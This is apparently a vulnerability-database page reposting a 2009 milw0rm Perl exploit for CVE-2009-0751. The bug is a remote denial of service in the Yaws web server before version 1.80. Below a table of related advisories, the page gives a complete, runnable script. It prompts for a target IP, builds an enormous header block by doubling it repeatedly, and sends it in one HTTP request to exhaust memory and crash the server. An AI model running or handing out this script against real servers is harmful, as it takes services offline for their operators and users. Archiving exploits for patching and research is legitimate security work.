Yaws version < 1.80 Remote Denial of Service Exploit by sending large number of header
Reporter | Title | Published | Views | Family All 17 |
---|---|---|---|---|
![]() | Yaws Denial Of Service | 5 Mar 200900:00 | – | packetstorm |
![]() | CVE-2009-0751 | 2 Mar 200922:00 | – | cvelist |
![]() | CVE-2009-0751 | 2 Mar 200922:30 | – | nvd |
![]() | CVE-2009-0751 | 2 Mar 200922:30 | – | cve |
![]() | CVE-2009-0751 | 2 Mar 200922:30 | – | debiancve |
![]() | Yaws 1.80 - Multiple Headers Remote Denial of Service Vulnerabilities | 3 Mar 200900:00 | – | exploitpack |
![]() | Debian: Security Advisory (DSA-1740-1) | 19 Mar 200900:00 | – | openvas |
![]() | Debian Security Advisory DSA 1740-1 (yaws) | 20 Mar 200900:00 | – | openvas |
![]() | yaws Web server DoS | 17 Mar 200900:00 | – | securityvulns |
![]() | [SECURITY] [DSA 1740-1] New yaws packages fix denial of service | 17 Mar 200900:00 | – | securityvulns |
#!usr/bin/perl -w
#######################################################################################
# Yaws before 1.80 allows remote attackers to cause a denial of service (memory
# consumption and crash) via a request with a large number of headers.
# Refer:
# http://yaws.hyber.org/
# http://www.securityfocus.com/bid/33834/discuss
# http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0751
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
# Author: Praveen Dar$hanam
# Email: praveen[underscore]recker[at]sify.com
# Blog: http://www.darshanams.blogspot.com/
# Date: 03rd March, 2009
# Site: http://www.evilfingers.com/
#
###Thanx to str0ke, milw0rm, Manuel Duran Aguete, @rp m@n, and all the Security Folks###
########################################################################################
use IO::Socket;
print("\nEnter IP Address of Yaws Server(not domain): \n");
$vuln_host_ip = <STDIN>;
chomp($vuln_host_ip);
$port = 80;
$sock_http = IO::Socket::INET->new( PeerAddr => $vuln_host_ip,
PeerPort => $port,
Proto => 'tcp') || "Unable to create HTTP Socket";
$headers="Date: Tue, 03 Mar 2009 15:17:53 GMT\r\n".
"Accept-Ranges: bytes\r\n".
"Content-Language: en\r\n".
"Content-Type: text/html; charset=utf-8\r\n".
"Expires: Thu, 05 Mar 2009 15:17:53 GMT\r\n".
"Cache-Control: no-cache\r\n".
"Content-Encoding: gzip\r\n".
"Retry-After: 100\r\n";
print "\nHeaders are:\n$headers";
$i=0;
while($i<=13) #this is just a PoC
{
$headers=$headers.$headers;
$i++;
}
print "\nHeaders are:\n$headers";
$yaws_attack = "GET / HTTP/1.1\r\n".
"Host: $vuln_host_ip:$port\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
$headers.
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"\r\n";
sleep(3);
print $sock_http $yaws_attack;
sleep(2);
print"\nRequest with large number of Headers sent...\n";
close($sock_http);
# milw0rm.com [2009-03-03]
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo